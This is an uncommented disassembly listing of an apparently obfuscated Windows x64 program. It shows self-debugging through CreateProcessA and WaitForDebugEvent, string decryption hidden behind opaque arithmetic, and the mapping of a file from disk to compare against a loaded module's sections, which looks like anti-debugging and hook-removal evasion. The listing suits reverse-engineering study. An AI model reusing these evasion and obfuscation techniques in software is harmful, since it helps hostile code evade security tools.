call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11d0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11f0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r8d, 0x10002
mov edx, dword [rbp + 0x11e4]
mov ecx, dword [rbp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
or edx, 0xffffffff
lea rcx, [rbp + 0x1260]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
sub rbx, r15
jne 0x1401f4feb
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, rax
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1180], xmm0
mov qword [rbp + 0x1190], rax
mov byte [rbp + 0x340], WSAStartup
mov byte [rbp + 0x341], 0x75
mov byte [rbp + 0x342], 0x66
mov byte [rbp + 0x343], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x344], 0x68
mov byte [rbp + 0x345], Ordinal_46
mov byte [rbp + 0x346], 0x62
mov byte [rbp + 0x347], WSAGetLastError
mov byte [rbp + 0x348], 0x64
mov byte [rbp + 0x349], 9
mov dword [rbp + 0x34a], eax
mov word [rbp + 0x34e], ax
mov byte [rbp + 0x350], al
movabs r14, 0x4f724e3b7386880
mov dil, byte [rsp + 0x50]
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x11
jae 0x1401f573d
movzx r8d, byte [rbp + r10 + 0x340]
mov edx, r8d
cmp rbx, r10
ja 0x1401f5734
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401f5186
lea rcx, [r10 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x80
jmp 0x1401f5199
je 0x1401f56d3
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401f5686
cmp r9, r10
ja 0x1401f572b
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401f51ce
movabs rcx, 0x684606ae07a09280
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x80
add dil, cl
jmp 0x1401f51e1
je 0x1401f563c
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401f561c
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x1401f528c
lea rax, [r9 + 0x400]
cmp rbx, rax
je 0x1401f526d
lea rbx, [r9 + 0x400]
lea rax, [rbx + 0x800]
cmp rbx, rax
jb 0x1401f5707
add rbx, 0x800
lea r9, [rbx + 0x400]
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1401f525e
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x1401f523e
lea rbx, [r9 + 3]
lea r9, [rbx + 3]
jmp 0x1401f51ee
movabs rdi, 0x69a7ac3a65fae00
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
add dil, r8b
jmp 0x1401f55e5
movabs rcx, 0xf2bde734c97e0c00
jmp 0x1401f534a
movabs rcx, 0x2231d9d8ba3ce700
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401f565a
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401f533e
lea rcx, [r10 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
lea rax, [rbx + r9]
cmp rax, 0x10
je 0x1401f55c3
lea rax, [r9 + 0x10]
cmp rbx, rax
jbe 0x1401f53e2
movabs rcx, 0x2ee3ca42a870e680
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
cmp rbx, 0x10
jae 0x1401f5565
lea rax, [r9 + 0x10]
cmp rbx, rax
jbe 0x1401f54bd
movabs rcx, 0x9729d0f0b0117900
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
cmp r9, 0x10
jb 0x1401f5555
movabs rcx, 0xfa78b2bb0079a300
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx + rcx]
jmp 0x1401f565a
jne 0x1401f535f
movabs rcx, 0xd08c0d5c0f412500
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401f56f0
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401f5387
movabs rcx, 0xda7a57237db1f600
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
jmp 0x1401f56a3
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f53b0
movabs rcx, 0xc21c808a5e60b00
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x1401f5681
mov cl, dil
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401f52ac
movabs rdx, 0x1ffe5b9782c7ad00
add rdx, r10
mov cl, r8b
and cl, dl
add cl, cl
mov dil, r8b
sub dil, cl
add dil, dl
jmp 0x1401f565a
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f540b
movabs rdx, 0x38d2140a16e1b780
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x80
jmp 0x1401f53da
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401f5437
movabs rcx, 0x4caea798f3c35980
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x1401f5681
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401f5464
movabs rcx, 0x6a7984ef3f15cc80
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x1401f55b1
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f5490
movabs rcx, 0x7467ceb6ad869d80
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x1401f55e5
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401f52e3
movabs rcx, 0x884462458a683f80
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
jmp 0x1401f56ec
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f54d5
movabs rcx, 0xa1181ab81e824a00
jmp 0x1401f534a
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401f54f9
movabs rcx, 0xb4f4ae46fb63ec00
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
jmp 0x1401f55e1
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401f5521
movabs rdx, 0xd2bf8b9d46b65f00
add rdx, r10
mov cl, r8b
and cl, dl
add cl, cl
mov dil, r8b
sub dil, cl
add dil, dl
jmp 0x1401f5585
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f5539
movabs rcx, 0xdcadd564b5273000
jmp 0x1401f539a
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401f5313
movabs rdx, 0xf08a68f39208d200
jmp 0x1401f53ca
mov byte [rbp + r10 + 0x340], cl
mov dil, cl
jmp 0x1401f56ff
movabs rdx, 0x466fc826eea7400
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, r8b
sub dil, al
add dil, dl
add dil, r8b
movabs rcx, 0x95e21662622dc80
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, 0x80
add r8b, cl
add r8b, dil
mov byte [rbp + r10 + 0x340], r8b
add rbx, r9
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x1401f56ff
movabs rcx, 0xe554649dd5b4500
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x340]
lea edi, [r8 + rcx]
movabs rdx, 0x134c6b2d9493ad80
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x80
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x340], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x1401f56a3
movabs rcx, 0x7c229a3ce4823480
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
jmp 0x1401f567e
movabs rcx, 0x7234507576116380
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
movabs rcx, 0xff6fd79eb7b20b80
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x80
add cl, r8b
mov byte [rbp + r10 + 0x340], cl
add r9, r15
sub r10, r15
jmp 0x1401f56ff
movabs rcx, 0x18d3b872941a0a80
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
movabs rcx, 0x184390114bcc1600
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, cl
mov byte [rbp + r10 + 0x340], r8b
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x1401f56f0
movabs rcx, 0xee56eab25a93980
add rcx, r10
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r10 + 0x340]
add rax, r9
add r10, rax
add r10, r15
jmp 0x1401f5144
movabs rcx, 0x8a77e086c1dd7980
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x1401f512f
lea rcx, [rbp + 0x1663940]
jmp 0x1401f5744
lea rcx, [rbp + 0x15ea1c0]
jmp 0x1401f5744
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp - 0x48], rax
mov r9d, Ordinal_26
lea r8, [rbp + 0x1180]
mov rdx, rax
mov rcx, rsi
call sub.KERNEL32.dll_K32GetModuleInformation
mov rsi, qword [rbp + 0x1180]
mov qword [rbp - 0x50], rsi
mov byte [rbp + 0x5b0], 0xb3
mov byte [rbp + 0x5b1], 0x9b
mov byte [rbp + 0x5b2], 0xb8
mov byte [rbp + 0x5b3], 0x62
mov byte [rbp + 0x5b4], __WSAFDIsSet
mov byte [rbp + 0x5b5], 0x9b
mov byte [rbp + 0x5b6], Ordinal_143
mov byte [rbp + 0x5b7], 0x9e
mov byte [rbp + 0x5b8], 0x67
mov byte [rbp + 0x5b9], 0x98
mov byte [rbp + 0x5ba], 0x80
mov byte [rbp + 0x5bb], __WSAFDIsSet
mov byte [rbp + 0x5bc], WSAStartup
mov byte [rbp + 0x5bd], __WSAFDIsSet
mov byte [rbp + 0x5be], __WSAFDIsSet
mov byte [rbp + 0x5bf], 0x9c
mov byte [rbp + 0x5c0], __WSAFDIsSet
mov byte [rbp + 0x5c1], Ordinal_211
mov byte [rbp + 0x5c2], Ordinal_211
mov byte [rbp + 0x5c3], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x5c4], 0x88
mov byte [rbp + 0x5c5], Ordinal_143
mov byte [rbp + 0x5c6], 0x9c
mov byte [rbp + 0x5c7], 0x83
mov byte [rbp + 0x5c8], 0x82
mov byte [rbp + 0x5c9], Ordinal_211
mov byte [rbp + 0x5ca], 0x98
mov byte [rbp + 0x5cb], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x5cc], Ordinal_143
mov byte [rbp + 0x5cd], 0xf1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5ce], xmm0
mov byte [rbp + 0x5de], al
movabs r14, 0xcae032bf384252dd
mov dil, byte [rsp + 0x50]
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x2f
jae 0x1401f6074
movzx r8d, byte [rbp + r10 + 0x5b0]
mov edx, r8d
cmp rbx, r10
ja 0x1401f606b
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401f58bb
lea rcx, [r10 + r14]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0xb
jmp 0x1401f58db
je 0x1401f5fe9
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401f5f96
lea rax, [r9 + 7]
cmp rbx, rax
je 0x1401f5f73
cmp r9, r10
ja 0x1401f6062
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401f590b
movabs rcx, 0xa46429af9d70cc21
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x19
add cl, r8b
jmp 0x1401f5948
je 0x1401f5f2c
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401f5f0c
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401f5edc
lea rax, [r9 + 7]
cmp rbx, rax
je 0x1401f5e87
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401f5e64
mov cl, dil
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x1401f5af7
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401f5ad0
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1401f5aa9
lea rax, [r9 + 0x2a]
cmp rbx, rax
je 0x1401f5a88
lea rax, [r9 + 0x200]
cmp rbx, rax
je 0x1401f5a65
lea rbx, [r9 + 0x61]
lea r9, [rbx + 0x200]
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401f603f
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x1401f601c
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1401f5a47
lea rbx, [r9 + 1]
lea r9, [rbx + 0x40]
lea rax, [r9 + 0xa]
cmp rbx, rax
ja 0x1401f5a33
lea rax, [r9 + 1]
cmp rbx, rax
ja 0x1401f5a1f
lea rax, [r9 + 0x3e8]
cmp rbx, rax
ja 0x1401f59f7
lea rbx, [r9 + 0x7a]
lea r9, [rbx + 0x3e8]
jmp 0x1401f5955
movabs rcx, 0xcc1fb7832973ca20
add rcx, r10
mov al, cl
and al, r8b
mov edi, reloc.WS2_32.dll_recv
sub dil, al
add dil, dil
add dil, cl
add dil, r8b
jmp 0x1401f5e30
movabs rdx, 0xade8707d7e5d8f2
mov ecx, Ordinal_50
jmp 0x1401f5c02
movabs rdx, 0x751e218967613338
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401f5bd2
movabs rcx, 0xe8fcbe4edd90ef2d
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3b
jmp 0x1401f5b85
movabs rcx, 0xda58fa1db0a4c8c6
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x1401f6005
movabs rdx, 0xed96fea57e0d8c24
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401f5e01
movabs rdx, 0xc21633a89d0440b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f5f6e
movabs rdx, 0x2c55ce2a2c7f9af6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f5f4a
lea rax, [r9 + 0x10]
cmp rbx, rax
jae 0x1401f5bba
lea rcx, [r10 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xb
add cl, r8b
lea rax, [r9 + rbx]
cmp rax, 0x41
je 0x1401f5e38
lea rax, [r9 + 0x400]
cmp rbx, rax
jbe 0x1401f5c76
movabs rcx, 0x576c179067cdbea9
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x61
add cl, r8b
cmp rbx, 3
jae 0x1401f5dde
lea rax, [r9 + 0x5a]
cmp rbx, rax
jbe 0x1401f5d56
movabs rdx, 0xfbd04140053e8aca
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
cmp r9, 9
jb 0x1401f5dce
movabs rcx, 0xd55438306a6d040e
add rcx, r10
mov al, cl
and al, r8b
mov edx, reloc.WS2_32.dll_ntohs
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401f5f4a
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f5bea
movabs rdx, 0x48c8535f3ae19842
mov ecx, Ordinal_26
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f6005
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401f5c1a
movabs rdx, 0xde88b8ddab663dfc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f5fb3
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401f5c46
movabs rcx, 0x358a4ed76d78d4e4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3c
jmp 0x1401f5e07
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f5b17
movabs rcx, 0xcb4ab455ddfd7a9e
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
jmp 0x1401f5f91
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f5ca2
movabs rcx, 0xed2c7d0ed8526463
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x4b
jmp 0x1401f5f4a
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f5cce
movabs rcx, 0x18ad480bb95bafd7
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1f
jmp 0x1401f5f91
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401f5cfa
movabs rcx, 0xd9ee78870ae9a105
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x1401f5efa
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401f5d26
movabs rcx, 0x6faede057b6e46bf
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x39
jmp 0x1401f5ea5
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401f5b51
movabs rcx, 0x9b2fa9025c779233
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x65
jmp 0x1401f6005
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f5d73
movabs rdx, 0x9190a6be75c33084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1401f5bd2
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f5d9d
movabs rdx, 0xbd1171bb56cc7bf8
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
jmp 0x1401f5e5c
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401f5b88
movabs rdx, 0xe8923cb837d5c76c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1401f5a17
mov byte [rbp + r10 + 0x5b0], cl
mov dil, cl
jmp 0x1401f6014
movabs rdx, 0x6b149daedaf1a9c8
add rdx, r10
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r10 + 0x5b0]
sub dil, al
sub dil, 0x78
add dil, dl
add dil, r8b
movabs rdx, 0x35f4d06e1333fca5
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, dil
sub cl, al
add cl, 0x7d
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0x5b0], cl
add rbx, r9
jmp 0x1401f5efa
movabs rdx, 0xd5032d4b764f82
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0x5b0]
add dil, dl
add dil, r8b
jmp 0x1401f5ea5
movabs rcx, 0xe827bb21921a9fab
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x53
jmp 0x1401f6005
movabs rcx, 0xbca6f024b1115437
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x7f
movabs rdx, 0xcbb535ec83b8a25f
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, 0x67
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x5b0], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x1401f5fb3
movabs rcx, 0x26e68aa6408cae7d
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x1401f6014
movabs rcx, 0x65a55a2aeefebd4f
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x29
jmp 0x1401f5f91
movabs rcx, 0x3a248f2e0df571db
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 3
movabs rcx, 0xa0346aefa2af56eb
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x6d
add cl, r8b
mov byte [rbp + r10 + 0x5b0], cl
add r9, r15
jmp 0x1401f5f91
movabs rcx, 0xe322f9344be2daf3
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x5b
sub r10, r15
jmp 0x1401f6014
movabs rcx, 0xf660fdbc194b9e51
add rcx, r10
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x37
movabs rdx, 0x969568abbbfaf53c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0x5b0], cl
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x1401f6005
movabs rcx, 0x60a0983da8c6f897
add rcx, r10
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x21
movzx eax, byte [rbp + r10 + 0x5b0]
add rax, r9
add r10, rax
add r10, r15
jmp 0x1401f5879
movabs rcx, 0x667a5d583a750cd1
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x49
jmp 0x1401f5874
movabs rcx, 0xd0b9f7d9c9f06717
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x5f
jmp 0x1401f5864
lea rcx, [rbp + 0x14fb22c]
jmp 0x1401f607b
lea rcx, [rbp + 0xd20509]
jmp 0x1401f607b
lea rcx, [rbp + 0x5b0]
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r15d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
mov qword [rbp - 0x58], rax
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov qword [rbp - 0x68], rax
xor ecx, ecx
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
lea edx, [rcx + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r12, rax
movsxd r14, dword [rsi + 0x3c]
add r14, rsi
xor eax, eax
movzx r15d, ax
cmp ax, word [r14 + 6]
jae 0x1401f6d8a
mov dil, byte [rsp + 0x50]
movzx eax, r15w
lea rsi, [rax*4 + 3]
movzx ecx, word [r14 + 0x14]
add rcx, r14
add rsi, rax
lea rsi, [rcx + rsi*8]
mov byte [rbp + 0x360], 0x54
mov byte [rbp + 0x361], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x362], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x363], reloc.WS2_32.dll_send
mov byte [rbp + 0x364], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x365], 0xa9
xor eax, eax
mov qword [rbp + 0x366], rax
mov word [rbp + 0x36e], ax
mov byte [rbp + 0x370], al
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x11
jae 0x1401f6cf2
movzx r8d, byte [rbp + r9 + 0x360]
mov rdx, r8
cmp rbx, r9
ja 0x1401f6ce9
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401f61be
movabs r11, 0xb822fc2bccc844c5
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x63
jmp 0x1401f61e8
je 0x1401f6c60
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401f6c05
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401f6bb3
movabs r11, 0xb822fc2bccc844c5
cmp r10, r9
ja 0x1401f6ce0
lea rax, [r10 + 0x200]
cmp rbx, rax
jae 0x1401f6220
movabs rdx, 0x1adeaf97cc6da429
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x1f
jmp 0x1401f642a
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401f6b93
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401f6b6e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401f6b4b
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401f6808
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1401f67e1
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401f67be
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401f679a
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x1401f6786
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x1401f675f
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401f673b
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401f6718
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1401f66f4
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401f66cd
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1401f6254
lea rbx, [r10 + 0x10]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401f6cbc
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x1401f6c98
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x1401f6458
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1401f6432
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1401f640c
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401f6601
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x1401f65e1
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1401f65be
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401f6592
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x1401f6254
lea rbx, [r10 + 0x28]
lea r10, [rbx + 0x42]
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1401f657e
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x1401f656a
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401f6547
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401f6523
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x1401f650f
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1401f64eb
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x1401f64c7
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x1401f64a4
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1401f647d
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x1401f6254
lea rbx, [r10 + 0x42]
lea r10, [rbx + 0x80]
jmp 0x1401f6254
movabs rdx, 0xfafeebc830bd56f7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x3f
add dil, dl
jmp 0x1401f6247
movabs rdx, 0x8ab8f370972ccd6d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 5
add dil, dl
jmp 0x1401f61e8
movabs rdx, 0x1a72fb18fd9c43e3
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dl, 0x35
add dil, dl
